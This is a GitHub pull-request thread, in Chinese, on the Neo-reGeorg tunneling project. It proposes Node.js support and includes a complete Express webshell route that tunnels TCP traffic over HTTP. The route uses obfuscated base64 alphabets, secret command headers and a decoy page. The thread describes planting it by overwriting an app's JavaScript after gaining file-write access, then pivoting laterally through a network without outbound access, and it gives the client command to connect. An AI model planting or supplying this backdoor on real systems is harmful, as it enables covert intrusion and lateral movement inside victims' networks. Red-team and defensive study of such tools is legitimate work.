L-codes / Neo-reGeorg

Neo-reGeorg is a project that seeks to aggressively refactor reGeorg
GNU General Public License v3.0
2.89k stars 446 forks source link

增加对nodejs的支持 #66

Closed purpleroc closed 1 year ago

purpleroc commented 2 years ago

小众场景,刚好遇上了,对着reGeorg改了一个版本

L-codes commented 2 years ago

晚点我测试一下

purpleroc commented 2 years ago

默认状态下,会有点卡。调整一下读写间隔可解决。

L-codes commented 2 years ago

我看了一下代码,这是 nodejs 直接运行创建一个http服务,想问问这个需求的场景是?因为我看能够创建一个新的 server 端口供服务的话,应该直接开一个socks会稳定且快

purpleroc commented 2 years ago

这只是个demo而已,来自https://github.com/sensepost/reGeorg 的 js版本。 实际遇到的场景是:有文件写权限,可改node代码增加路由,不出网,可重新加载改动后的js。

L-codes commented 2 years ago

nodejs 加路由得重启应用吧?因为目前没见过有热加载路由 而且nodejs的web server不一样,代码也要修改吧? 是否有办法改成通用的?比如检测当前nodejs运行的web环境,自动选择加路由的方式等

purpleroc commented 2 years ago

本质上就是需要改代码的。 情况是:任意文件写,可以写一个脚本,该脚本被某路由调用,进而得到任意命令执行。不过,环境苛刻,只能做个代理来横移。于是覆盖原本js文件,增加一个路由。命令执行 重启node。

是否有办法改成通用的?比如检测当前nodejs运行的web环境,自动选择加路由的方式等

首先得让这个js执行起来,让它执行起来大概率还是得手动改它代码。

L-codes commented 2 years ago

能否提供一个实际上 修改Js代码成功运行的demo代码示例?我对nodejs不熟悉 比如目前有一个nodejs 任意js代码执行,如何执行添加路由? 还是得通过命令执行,找到可以修改添加的文件位置(存在通用的方法吗)?然后重启nodejs ? 这样也许端口复用还会更好

purpleroc commented 2 years ago

所以说,还是小众场景。 通用改routes的方式好像还真没,各框架都不相同,真遇到这种场景的,改一改也就能用了。 另外,如果可端口复用的话,那更语言没关系了,一切皆可端口复用了,也不用reGeorg了23333。

demo的话,比如用的最多的express框架https://github.com/expressjs/express:

const express = require('express')
const app = express()

//////// add proxy
var net = require('net');
var en = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var de = "t3keOL5DZEuImxYRKV179ogB0fjvJ+rswP2dp8MFbanlNUcSqHhCWiGTzQ64yA/X";
var dataBuff = [];
var tcpconns = [];

function createOutboundTCP(res, host, port, mark)
{
    if(mark === null)
    {
        var tcpConn = new net.Socket();
        tcpConn.connect(port,host);
        tcpConn.on( 'connect', function() {
            tcpconns[mark] = tcpConn;
            dataBuff[mark] = new Array();

            res.writeHead(200,{'Xfulovtoate': 'WfmMwMDPzvZ0KTFcRgiy2PQWxZBCLIvwWnRQK15IGeRmz4LVR48O1OsKllNy'});
            res.end();
        });

        tcpConn.on('data', function(data) {
            dataBuff[mark].unshift(data);
        });

        tcpConn.on('error', function(error) {
            console.log("Error creating new Outbound: " + error.message);
            res.writeHead(200, {'Xfulovtoate':'orm5it0Qa3Q6wTbk8Le4uoevx1jNqhaIFzTnaM1GpH70','Vifk' : 'B4LqkZ2Fb6xREzSBgV0TUHU36Bl9FEMxxsabiDhypWS'});
            res.end();
        });
    }
    else if(mark != null && tcpconns[mark] == null)
    {
            var tcpConn = new net.Socket();
            tcpConn.connect(port,host);

            tcpConn.on( 'connect', function() {
                tcpconns[mark] = tcpConn;
                dataBuff[mark] = new Array();
                res.writeHead(200,{'Xfulovtoate': 'WfmMwMDPzvZ0KTFcRgiy2PQWxZBCLIvwWnRQK15IGeRmz4LVR48O1OsKllNy'});
                res.end();
            });

            tcpConn.on('data', function(data) {
                dataBuff[mark].unshift(data);
            });

            tcpConn.on('error', function(error){
                console.log("Error creating new Outbound: "+error.message);
                res.writeHead(200, {'Xfulovtoate':'orm5it0Qa3Q6wTbk8Le4uoevx1jNqhaIFzTnaM1GpH70','Vifk' : 'B4LqkZ2Fb6xREzSBgV0TUHU36Bl9FEMxxsabiDhypWS'});
                res.end();
            });
    }
    else
    {
        res.writeHead(200,{'Xfulovtoate': 'WfmMwMDPzvZ0KTFcRgiy2PQWxZBCLIvwWnRQK15IGeRmz4LVR48O1OsKllNy'});
        res.end();
    }
}

function readOutboundTCP(res, mark)
{
    var currData = dataBuff[mark].pop();
    if(currData != null)
    {
        res.writeHead(200,{'Xfulovtoate': 'WfmMwMDPzvZ0KTFcRgiy2PQWxZBCLIvwWnRQK15IGeRmz4LVR48O1OsKllNy','Connection': 'Keep-Alive'});
        res.write(StrTr(Buffer.from(currData).toString('base64'), en, de));
        res.end();
    }
    else
    {
        console.log('NO DATA IN BUFFER');
        res.writeHead(200, {'Xfulovtoate': 'WfmMwMDPzvZ0KTFcRgiy2PQWxZBCLIvwWnRQK15IGeRmz4LVR48O1OsKllNy'});
        res.end();
    }

}

function disconnectOutboundTCP(res, mark, error)
{
    var tcpConn=tcpconns[mark];

    if(tcpConn!=null)
    {
        tcpConn.destroy();
        tcpConn=null;
        tcpconns[mark]=null;
        dataBuff[mark]=null;
    }

    if(error!=null)
    {
        var sessionid = 'Ur' + Math.random();
        res.writeHead(200, {'Set-Cookie': 'SESSIONID=' + sessionid + ';', "XXXX": error.message});
        res.end();
     }
     else
     {
        res.writeHead(200, {'Xfulovtoate': 'WfmMwMDPzvZ0KTFcRgiy2PQWxZBCLIvwWnRQK15IGeRmz4LVR48O1OsKllNy'});
        res.end();
     }

}
function deault_page(res) {
    var sessionid = 'Ur' + Math.random();
    res.writeHead(200, {'Set-Cookie': 'SESSIONID=' + sessionid + ';'});
    res.end("<!-- 4XGAWvTzOgoJqo8xf7oTSQfnpbwnxVilvENiU8KxTEnGLUqgdYHYxKi3_b30S -->");
}

function forwardData(req, res, mark)
{
    var fdata;

    req.on('data', function (chunk) {
        fdata = chunk;
    });

    req.on('end', function (){
        if(fdata != null)
        {
            var tcpSocket = tcpconns[mark];
            if(tcpSocket != null)
            {
                databaffuer = new Buffer.from(StrTr(fdata.toString(), de, en), 'base64');
                tcpSocket.write(databaffuer);
                res.writeHead(200,{'Xfulovtoate': 'WfmMwMDPzvZ0KTFcRgiy2PQWxZBCLIvwWnRQK15IGeRmz4LVR48O1OsKllNy'});
                res.end();
            }
            else
            {
                console.log('No Cookie session to forward');
                res.writeHead(200,{'Xfulovtoate':'orm5it0Qa3Q6wTbk8Le4uoevx1jNqhaIFzTnaM1GpH70','Vifk':'dNjNxKHCAtzFfDd1INueNY9szIfKpBE1yDblp_EdoGKGjfT1U6k6GZ'});
                res.end();
            }
        }
        else
        {
            console.log('No data in forward');
            res.writeHead(200,{'Xfulovtoate':'orm5it0Qa3Q6wTbk8Le4uoevx1jNqhaIFzTnaM1GpH70','Vifk':'dNjNxKHCAtzFfDd1INueNY9szIfKpBE1yDblp_EdoGKGjfT1U6k6GZ'});
            res.end();
        }

    });
}

function StrTr(input, frm, to){
  var r = "";
  for(i=0; i<input.length; i++){
    index = frm.indexOf(input[i]);
    if(index != -1){
      r += to[index];
    }else{
      r += input[i];
    }
  }
  return r;
}

app.all('/proxy', function (req, res) {
    var old_header = req.headers;

    var headers = {};
    for(var item in old_header) {
        headers[item.toLowerCase()] = old_header[item];
    }

    res.statusCode = 200;
    var cmd = headers['pnzyudlbmcrzz'];
    if (cmd!=null) {
        mark = cmd.substring(0, 22);
        cmd = cmd.substring(22);
        if (cmd == "G47kt1MIrJ86ArGkXGI5PbFUK9Yxu6liHZomUl4") {
            try{
                var target_str = Buffer.from(StrTr(headers["hhnn"], de, en), 'base64').toString();
                var target_ary = target_str.split("|");
                var target = target_ary[0];
                port = parseInt(target_ary[1]);
                createOutboundTCP(res, target, port, mark);
            }catch(error){
                disconnectOutboundTCP(res, mark, error);
            }
        }else if(cmd == "gGTwmXQL642AMKwjTS6oVfE8XXQLbMXUcxqH4q3x"){
            try
            {
                disconnectOutboundTCP(res, mark, null);
            }
            catch(error)
            {
                disconnectOutboundTCP(res, mark, error);
            }
        }else if(cmd == "CQeLsL_KxRcfcdOUeXhN6cZdQ0JZrwuSiN4Qlkn"){
            try
            {
                readOutboundTCP(res, mark);
            }
            catch(error)
            {
                disconnectOutboundTCP(res, mark, error);
            }

        }else if(cmd == "6cO1KH8Ltx45AgM3nSmsnaDY"){
            try
            {
                forwardData(req, res, mark);
            }
            catch(error)
            {
                disconnectOutboundTCP(res, mark, error);
            }

        }
        else{
            deault_page(res);
        }

    }else{
        deault_page(res);
    }
})

app.listen(3000)

执行:

python3 neoreg.py -u http://127.0.0.1:3000/proxy -k abcdef --read-interval 100 --write-interval 100

对比起丢上去可用的那些,还是稍微有些改动成本的。

L-codes commented 2 years ago

不能端口复用场景有反代、负载均衡等,-r参数的内网重定向功能,能否也加进去?

purpleroc commented 2 years ago

-r参数目前为止还没用到过 2333 后续再研究研究看咋实现吧

On 2 Jun 2022, at 18:44, L @.***> wrote:

 不能端口复用场景有反代、负载均衡等,-r参数的内网重定向功能,能否也加进去?

— Reply to this email directly, view it on GitHub, or unsubscribe. You are receiving this because you authored the thread.

L-codes commented 2 years ago

那你可以先研究研究,这是负载均衡时,内网重定向维持隧道的技术。这个PR后续稳定了再合并,后面会有一个v4的版本,参考 PR #60

purpleroc commented 2 years ago

测了一下,转发功能OK了

L-codes commented 2 years ago

我待后续 v4 版本大改后修改这个 nodejs 的版本 PR,再合并,没那么快,耐心等待

L-codes commented 1 year ago

哈哈哈 v5版本先来了 可以根据里面的templates 进行修改此PR,或者编写一个转发器即可,可以配合 tunnel.go 使用

nikKrian commented 4 weeks ago

有后续么,我也碰到这个场景了,大佬写的没合进正式release吗

L-codes commented 4 weeks ago

有的使用 tunnel.go